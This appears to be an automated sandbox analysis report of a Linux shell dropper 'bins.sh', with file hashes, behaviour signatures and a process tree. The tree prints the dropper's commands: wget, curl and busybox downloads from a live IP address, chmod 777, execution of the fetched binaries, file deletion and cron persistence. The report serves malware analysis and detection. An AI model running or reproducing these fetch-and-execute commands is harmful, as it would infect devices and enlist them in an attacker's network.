Analysis
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max time kernel
150s -
max time network
155s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240226-en -
resource tags
arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
04-11-2024 13:27
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
55a1cde83448c075863af498d8f07347
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SHA1
71fc61de9d4ab6d1ffb6f77532da9099ed462060
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SHA256
3358bdb43f37beae54f42f364887f9c09d346e7cdb91f4d23ad252f984546bf1
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SHA512
7637c8bf8467388ae106f959277568b0f03cf62d65e60dfcb27a678a22599224aaf25100ca898619af630f564958ccb981c22d64a1328f18c1fe389092ab6430
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SSDEEP
192:yGgCCHWiiEpzUENiPH+NhIECCHWi5jeJPH+Nho:yGbuzFeJ
Malware Config
Signatures
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Contacts a large (1696) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodpid Process 739 chmod 746 chmod -
Executes dropped EXE 2 IoCs
Processes:
i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fcv3AircBDjQCluxfKjtVOtE0Tz4MpAmti4Xioc pid Process /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc 740 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X 747 v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X -
Renames itself 1 IoCs
Processes:
v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4Xpid Process 748 v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.0Qa6DP crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4Xcrontabdescription ioc Process File opened for reading /proc/1008/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/763/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/846/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/930/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/1038/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/752/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/808/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/932/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/858/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/891/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/1012/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/1014/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/71/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/812/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/829/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/filesystems crontab File opened for reading /proc/842/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/873/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/972/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/986/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/1009/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/1030/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/751/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/845/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/884/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/761/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/869/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/771/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/809/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/852/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/874/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/918/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/2/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/69/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/753/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/960/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/1000/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/822/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/948/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/866/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/872/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/921/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/14/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/72/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/105/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/826/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/912/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/931/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/963/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/967/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/240/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/800/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/825/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/1011/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/1023/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/384/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/794/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/805/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/894/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/1013/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/1/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/7/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/332/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X File opened for reading /proc/10/cmdline v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X -
Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
Processes:
curlbusyboxwgetcurlbusyboxwgetdescription ioc Process File opened for modification /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc curl File opened for modification /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc busybox File opened for modification /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X wget File opened for modification /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X curl File opened for modification /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X busybox File opened for modification /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc wget
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:707
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/bin/rm/bin/rm bins.sh2⤵PID:710
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/usr/bin/wgetwget http://87.120.84.230/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵
- Writes file to tmp directory
PID:716
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/usr/bin/curlcurl -O http://87.120.84.230/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵
- Writes file to tmp directory
PID:728
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵
- Writes file to tmp directory
PID:737
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/bin/chmodchmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵
- File and Directory Permissions Modification
PID:739
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/tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵
- Executes dropped EXE
PID:740
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/bin/rmrm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc2⤵PID:742
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/usr/bin/wgetwget http://87.120.84.230/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X2⤵
- Writes file to tmp directory
PID:743
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/usr/bin/curlcurl -O http://87.120.84.230/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X2⤵
- Writes file to tmp directory
PID:744
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X2⤵
- Writes file to tmp directory
PID:745
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/bin/chmodchmod 777 v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X2⤵
- File and Directory Permissions Modification
PID:746
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/tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X./v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:747 -
/bin/shsh -c "crontab -l"3⤵PID:749
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/usr/bin/crontabcrontab -l4⤵PID:750
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/bin/shsh -c "crontab -"3⤵PID:751
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:752
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/bin/rmrm v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X2⤵PID:754
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/usr/bin/wgetwget http://87.120.84.230/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm2⤵PID:757
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
210B
MD5d840e96bf0ee143eb1003522f64cb0dc
SHA14ccffd30f51e01215d7f380aaf71312f1106fee9
SHA2561fb30f2b869663d33e66c3c5b4de78306edaeae9b98e7d11d2b5477f87b836b5
SHA5122057a5c0fb91b64a69ae85698bace2e78a4685d9d80b0ad314a39002a04c8c8a290e57b7f1011030ba756bb217ab810bfa2f52eaa8579a707506877bd2a0a95d